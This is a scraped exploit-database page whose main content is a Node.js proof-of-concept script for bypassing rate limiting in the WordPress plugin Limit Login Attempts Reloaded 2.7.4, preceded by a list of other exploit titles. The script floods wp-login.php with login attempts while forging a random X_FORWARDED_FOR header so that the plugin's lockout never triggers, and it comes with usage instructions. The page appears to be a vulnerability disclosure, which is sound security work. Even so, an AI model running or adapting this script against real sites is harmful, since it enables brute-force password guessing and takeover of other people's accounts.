23f668ca8d
14 changes to exploits/shellcodes FlexHEX 2.71 - SEH Buffer Overflow (Unicode) AllPlayer 7.4 - SEH Buffer Overflow (Unicode) River Past Cam Do 3.7.6 - 'Activation Code' Local Buffer Overflow Download Accelerator Plus (DAP) 10.0.6.0 - SEH Buffer Overflow Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation QNAP Netatalk < 3.1.12 - Authentication Bypass Jobgator - 'experience' SQL Injection Bolt CMS 3.6.6 - Cross-Site Request Forgery / Remote Code Execution ShoreTel Connect ONSITE < 19.49.1500.0 - Multiple Vulnerabilities SaLICru -SLC-20-cube3(5) - HTML Injection CentOS Web Panel 0.9.8.793 (Free) / 0.9.8.753 (Pro) - Cross-Site Scripting Tradebox CryptoCurrency - 'symbol' SQL Injection WordPress Plugin Limit Login Attempts Reloaded 2.7.4 - Login Limit Bypass ManageEngine ServiceDesk Plus 9.3 - User Enumeration
99 lines
No EOL
2.7 KiB
JavaScript
99 lines
No EOL
2.7 KiB
JavaScript
#!/usr/bin/env node
|
|
const request = require("request")
|
|
|
|
/**
|
|
* Exploit Title: Limit Login Attempts Reloaded by WPChef rate limiter bypass
|
|
* Date: 2019-04-08
|
|
* Exploit Author: isdampe
|
|
* Software Link: https://wordpress.org/plugins/limit-login-attempts-reloaded
|
|
* Version: 2.7.4
|
|
* Tested on: WordPress 5.1.1
|
|
*
|
|
* Description
|
|
* -----------
|
|
*
|
|
* The plugin's primary goal is to limit the rate at which an individual can attempt
|
|
* to authenticate with WordPress. Plugin has support for HTTP headers
|
|
* X_FORWARDED_FOR and X_SUCURI_CLIENTIP to allow rate limiting for users
|
|
* when web servers are behind a reverse proxy service.
|
|
* However, REMOTE_ADDR is not verified as a whitelisted proxy address, thus
|
|
* allowing an attacker to easily forge either the X_FORWARDED_FOR or
|
|
* X_SUCURI_CLIENTIP headers to completely bypass the rate limiting service.
|
|
*
|
|
* PoC
|
|
* ---
|
|
*/
|
|
class LoginRequest
|
|
{
|
|
constructor(loginUri, numberOfRepititions) {
|
|
this._loginUri = loginUri
|
|
this._numberOfRepititions = numberOfRepititions
|
|
this._count = 0
|
|
}
|
|
|
|
async process() {
|
|
await this._sendRequest()
|
|
if (this._count++ < this._numberOfRepititions)
|
|
this.process()
|
|
}
|
|
|
|
async _sendRequest() {
|
|
return new Promise(async (resolve, reject) => {
|
|
console.log(`Sending request ${this._count}...`)
|
|
|
|
request.post({
|
|
url : this._loginUri,
|
|
form: {
|
|
"log": this._getRandomString(),
|
|
"pwd": this._getRandomString(),
|
|
"wp-submit": "Log+In",
|
|
"redirect_to": "/wp-admin/",
|
|
"testcookie": "1"
|
|
},
|
|
headers: {
|
|
"X_FORWARDED_FOR": this._getRandomIp()
|
|
}
|
|
}, (err, res, body) => {
|
|
if (err)
|
|
console.error(err)
|
|
|
|
if (body.indexOf("Too many failed") > -1) {
|
|
reject("Login was rejected, exploit failed.")
|
|
return
|
|
}
|
|
|
|
resolve()
|
|
console.log(`\tRequest ${this._count} was not blocked`)
|
|
})
|
|
|
|
})
|
|
}
|
|
|
|
_getRandomString() {
|
|
const map = "abcdefghijklmnopqrstuvwxyz0123456789"
|
|
const length = Math.floor(Math.random() * 15) + 1
|
|
let buffer = ""
|
|
for (let i=0; i<length; ++i)
|
|
buffer += Math.floor(Math.random() * map.length)
|
|
|
|
return buffer
|
|
}
|
|
|
|
_getRandomIp() {
|
|
const bits = []
|
|
for (let x=0; x<4; ++x)
|
|
bits.push(Math.floor(Math.random() * 254)) + 1
|
|
return bits.join(".")
|
|
}
|
|
|
|
}
|
|
|
|
if (process.argv.length < 4) {
|
|
console.log("Usage: ./bypass-ip-block.js [url] [number_of_repititions]")
|
|
console.log("\turl: The url pointing to wp-login.php, (e.g. http://localhost/wp-login.php)")
|
|
console.log("\tnumber_of_repititions: The number of login attempts to create (e.g. 500)")
|
|
process.exit(1)
|
|
}
|
|
|
|
const session = new LoginRequest(process.argv[2], process.argv[3])
|
|
session.process() |